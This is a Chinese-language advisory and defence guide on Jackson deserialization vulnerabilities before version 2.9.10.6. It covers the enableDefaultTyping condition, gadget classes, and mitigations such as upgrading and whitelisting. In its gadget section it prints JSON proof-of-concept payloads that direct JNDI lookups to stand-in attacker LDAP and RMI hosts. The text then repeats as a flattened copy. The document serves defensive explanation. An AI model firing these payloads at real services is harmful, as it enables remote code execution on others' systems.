Jackson反序列化漏洞:2.9.10.6版本以前
字数 1317 2025-08-15 21:31:52

Jackson反序列化漏洞分析及防护指南

漏洞概述

Jackson是一个流行的Java JSON处理库,在2.9.10.6版本之前存在反序列化漏洞,可能导致远程代码执行(RCE)。该漏洞主要影响开启了enableDefaultTyping配置的Jackson实例。

漏洞原理

Jackson反序列化漏洞属于"不安全反序列化"类型,攻击者通过构造特殊的JSON数据,利用Jackson的多态类型处理机制,触发Java反序列化过程中的恶意代码执行。

关键因素

  1. enableDefaultTyping开启:这是漏洞利用的必要条件,该配置允许JSON指定要反序列化的Java类型
  2. 存在可利用的Gadget链:特定的类组合能够被用来构造攻击链

受影响版本

Jackson库2.9.10.6之前的所有版本

漏洞利用分析

补丁分析

2.9.10.6版本的补丁主要通过增加黑名单来防护,禁止反序列化某些已知的危险类。

已知可利用的Gadget

  1. br.com.anteros.dbcp.AnterosDBCPDataSource

    • Maven引用次数:较少
    • POC示例:
      ["br.com.anteros.dbcp.AnterosDBCPDataSource", {"metricRegistry":"ldap://attacker.com:1399/test"}]
      
  2. com.pastdev.httpcomponents.configuration.JndiConfiguration

    • Maven引用次数:较少
    • POC示例:
      ["com.pastdev.httpcomponents.configuration.JndiConfiguration", "ldap://attacker.com:1399/test"]
      
  3. com.nqadmin.rowset.JdbcRowSetImpl

    • Maven引用次数:较少
    • POC示例:
      ["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]
      
  4. org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl

    • Maven引用次数:较少
    • 注意:由于类中存在重名函数,实际利用会失败

漏洞利用条件

  1. Jackson版本低于2.9.10.6
  2. 配置中启用了enableDefaultTyping
  3. 类路径中存在可利用的Gadget类

漏洞实际影响评估

  1. enableDefaultTyping默认关闭:Jackson早已默认关闭此配置,降低了风险
  2. Gadget类罕见:可利用的Gadget类在常见项目中引用较少
  3. 实际风险较低:需要特定条件组合才能利用

防护措施

立即措施

  1. 升级Jackson版本:至少升级到2.9.10.6或更高版本
  2. 禁用enableDefaultTyping:如无必要,不应启用此配置

长期防护策略

  1. 使用白名单机制:替代黑名单,只允许反序列化已知安全的类
  2. 实施输入验证:对所有反序列化的JSON数据进行严格验证
  3. 使用最新稳定版:定期更新Jackson到最新稳定版本

检测方法

  1. 版本检查:确认项目中使用的Jackson版本
  2. 配置检查:检查是否启用了enableDefaultTyping
  3. POC测试:使用提供的POC在测试环境中验证漏洞是否存在

总结

Jackson反序列化漏洞虽然理论上有风险,但由于利用条件较为苛刻(需要特定配置和罕见依赖),实际风险较低。建议开发者:

  1. 升级到2.9.10.6或更高版本
  2. 避免启用enableDefaultTyping
  3. 定期检查项目依赖和配置

对于安全要求较高的系统,建议实施更严格的反序列化防护措施,如完全禁用多态类型绑定或实施自定义的反序列化器。

Jackson反序列化漏洞分析及防护指南 漏洞概述 Jackson是一个流行的Java JSON处理库,在2.9.10.6版本之前存在反序列化漏洞,可能导致远程代码执行(RCE)。该漏洞主要影响开启了 enableDefaultTyping 配置的Jackson实例。 漏洞原理 Jackson反序列化漏洞属于"不安全反序列化"类型,攻击者通过构造特殊的JSON数据,利用Jackson的多态类型处理机制,触发Java反序列化过程中的恶意代码执行。 关键因素 enableDefaultTyping开启 :这是漏洞利用的必要条件,该配置允许JSON指定要反序列化的Java类型 存在可利用的Gadget链 :特定的类组合能够被用来构造攻击链 受影响版本 Jackson库2.9.10.6之前的所有版本 漏洞利用分析 补丁分析 2.9.10.6版本的补丁主要通过增加黑名单来防护,禁止反序列化某些已知的危险类。 已知可利用的Gadget br.com.anteros.dbcp.AnterosDBCPDataSource Maven引用次数:较少 POC示例: com.pastdev.httpcomponents.configuration.JndiConfiguration Maven引用次数:较少 POC示例: com.nqadmin.rowset.JdbcRowSetImpl Maven引用次数:较少 POC示例: org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl Maven引用次数:较少 注意:由于类中存在重名函数,实际利用会失败 漏洞利用条件 Jackson版本低于2.9.10.6 配置中启用了 enableDefaultTyping 类路径中存在可利用的Gadget类 漏洞实际影响评估 enableDefaultTyping默认关闭 :Jackson早已默认关闭此配置,降低了风险 Gadget类罕见 :可利用的Gadget类在常见项目中引用较少 实际风险较低 :需要特定条件组合才能利用 防护措施 立即措施 升级Jackson版本 :至少升级到2.9.10.6或更高版本 禁用enableDefaultTyping :如无必要,不应启用此配置 长期防护策略 使用白名单机制 :替代黑名单,只允许反序列化已知安全的类 实施输入验证 :对所有反序列化的JSON数据进行严格验证 使用最新稳定版 :定期更新Jackson到最新稳定版本 检测方法 版本检查 :确认项目中使用的Jackson版本 配置检查 :检查是否启用了 enableDefaultTyping POC测试 :使用提供的POC在测试环境中验证漏洞是否存在 总结 Jackson反序列化漏洞虽然理论上有风险,但由于利用条件较为苛刻(需要特定配置和罕见依赖),实际风险较低。建议开发者: 升级到2.9.10.6或更高版本 避免启用 enableDefaultTyping 定期检查项目依赖和配置 对于安全要求较高的系统,建议实施更严格的反序列化防护措施,如完全禁用多态类型绑定或实施自定义的反序列化器。